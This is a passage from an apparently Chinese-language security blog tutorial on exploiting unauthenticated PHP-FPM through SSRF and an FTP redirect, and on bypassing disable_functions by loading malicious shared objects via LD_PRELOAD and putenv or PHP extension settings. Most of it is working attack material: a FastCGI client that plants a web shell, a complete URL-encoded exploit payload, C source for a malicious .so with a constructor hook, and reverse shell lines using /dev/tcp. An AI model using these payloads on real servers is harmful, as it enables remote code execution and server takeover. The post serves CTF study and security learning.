public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } }
public function request(array $params, $stdin) { $response = '';
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('?file=ftp://ip:9999/&data='.urlencode($request));
} } ?> <?php
$filepath = "/var/www/html/add_api.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; $php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\nopen_basedir = /"; $php_admin_value = "allow_url_include = On"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value, 'PHP_ADMIN_VALUE' => $php_admin_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) );
echo $client->request($params, $code)."\n"; ?>
|
4.起FTP服务
4.带着payload访问file.php
1
| file.php?file=ftp://vps:7777&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
|
如果有类似这样的回显,int(681)
就说明打成功了
这种打法有个局限性,就是其不能直接通过php://input
的方式来实现任意代码执行,因为我们是将payload发送给服务器的file.php页面,然后服务器(Nginx)再发送给php-fpm,所以我们无法控制服务器发送给FPM的post内容,这和前面直接利用伪造的服务器直接对话php-fpm的方式是不同的。但是我们通过下面要说的加载恶意so文件的方式来RCE。
加载恶意so(扩展)文件
这一部分的内容其实可以单开一篇文章来说,因为加载恶意so文件的方式其实有很多种,也不局限于专门用来打fastcgi,如果可写文件的话,并且没有禁用putenv的话,我们就可以利用LD_PRELOAD环境变量 + putenv的方式来RCE。这里配合php-fpm打其实是扩展了PHP-FPM内网利用的攻击面,当我们无法通过外网的方式来执行任意代码时,可以利用恶意so文件的动态加载来RCE
LD_PRELOAD + putenv
1.LD_PRELOAD是什么
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
简单来说,LD_PRELOAD这个环节变量可以:
生成共享链接库的命令
1
| gcc -shared -fPIC evil.c -o evil.so
|
了解了LD_PRELOAD,那么我们要想设置环境变量,就需要通过putenv
函数
1
| putenv('LD_PRELOAD=/tmp/evil.so')
|
2.如何劫持
这里我们针对php的一些函数来分析一下,比如mail这个函数,其会开启一个子进程(外部进程)来调用sendmail
,那么我们就可以劫持这个sendmail进程所调用的一些函数。这里强调一下为什么需要一个函数能开启子进程(外部进程),因为LD_PRELOAD的劫持操作时发生在程序运行(进程运行)之前的,比如上面的mail函数属于某个php文件的进程,这个php文件的进程早就运行了,因此我们无法劫持这个php文件上下文的函数,所以我们要寻找一个新开启的进程,也就是子进程,这样在这个子进程运行之前,就会先加载我们的恶意so文件。
回到mail函数,通过以下命令查看调用mail函数时的子进程
1
| strace -f php -fstrace -tf php -r 'mail("","","","");' 2>&1 | grep 'execve'
|
可以看到其开启了一个子进程来调用/usr/bin/sendmai
,那么sendmail进程又调用了哪些函数呢?这么看肯定猜不出来,我们可以拿gdb调试,跟一下sendmail这个进程,这里参考@一叶飘零师傅的https://www.anquanke.com/post/id/175403#h2-3
有很多函数可以用,这里截止一个strcm函数吧,随便选都可以,只要编写的.c代码中没有在声明时导入该函数的库即可(否则无法生成so文件)
1 2 3 4 5 6 7 8 9 10 11 12
| #include <stdlib.h> #include <stdio.h>
void payload() { system("id"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
|
然后生成so文件test2.so,再准备一个页面putenv修改环境变量
1 2 3 4
| <?php putenv("LD_PRELOAD=./test2.so"); mail('','','',''); ?>
|
我们执行一下
跟一下子进程,很明显,执行了id命令
但是上述劫持要求我们找到一个在额外子进程中调用的函数,这是十分麻烦的,有没有一种通用的方式不依赖于劫持函数本身呢?
3.改进方案
__attribute__ ((__constructor__))
可以满足要求,有以下说明
It’s run when a shared library is loaded, typically during program startup.
也就是说一个函数被这个属性修饰时,其会在动态链接库被加载时触发,那么我们可改进一下上面的test2.c文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h>
void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/test.txt"); system(buf); }
__attribute__ ((__constructor__)) void hack (void){ char *cmd; if (getenv("LD_PRELOAD") == NULL) { return; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("cmd")) != NULL) { payload(cmd); } }
|
这样我们就可以不依赖具体函数来实现加载恶意so文件了,使用方法是
1
| putenv('LD_PRELOAD=/tmp/fuck.so');putenv('cmd=bash -c /readflag');error_log('test',1,"","");
|
然后在/tmp/test.txt
目录下可以得到命令回显的结果。或者直接反弹shell也可以
1
| putenv('LD_PRELOAD=/tmp/fuck.so');putenv('cmd=bash -c \'bash -i >& /dev/tcp/xxxx/xx 0>&1\'');error_log('test',1,"","");
|
4.一些可以开启子进程的php函数
收集这些函数是非常有必要的,尤其是在绕过disable_functions的时候,下面总结了几个(改天有时间日日手册)
1 2 3 4
| mail("","","","") error_log("test",1,"","") new Imagick('xxx.wmv') // 需要配合.wmv后缀文件 pcntl_fork
|
配合php-fpm打
php-fpm未授权访问不仅可以代码执行,还可以修改php配置,这里修改extension
和extension_dir
这两个配置项同样可以实现前面LD_PRELOAD的效果,这两个配置项用来加载额外的扩展(so)文件,因为同样可以加载我们构造好的恶意so文件。
攻击思路:
- 准备一个恶意so文件,和前面类似的,可以写个反弹shell(这里有个坑,尽量用bash -c来反弹)
1
| system('bash -c \'bash -i >& /dev/tcp/xxxx/xx 0>&1\'');
|
通过copy或者其他方式上传该so文件以及上面触发ssrf + ftp的file.php文件
修改pwn.php的$php_value
中的extension = evil.so
和extension_dir = /tmp/evil.so
,然后生成payload
带着payload访问file.php文件即可反弹shell
总结
这篇文章基本上是站在师傅们的肩膀上拼凑出来的,再次膜师傅,内容比较多,可扩展性也比较强,感觉在这方面还会有新的姿势出现,到时候再慢慢研究一下吧。以上涉及的脚本比较多,放在一个目录里方便查用。
参考
https://xz.aliyun.com/t/5598#toc-5
https://forum.90sec.com/t/topic/129
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://www.anquanke.com/post/id/186186#h2-10
https://www.anquanke.com/post/id/175403#h2-6
https://zhzhdoai.github.io/2019/03/31/TCTF-LD-PRELOAD%E7%B3%BB%E7%BB%9F%E5%8A%AB%E6%8C%81%E7%BB%95%E8%BF%87disable-function/#%E6%96%87%E4%BB%B6%E6%BA%90%E7%A0%81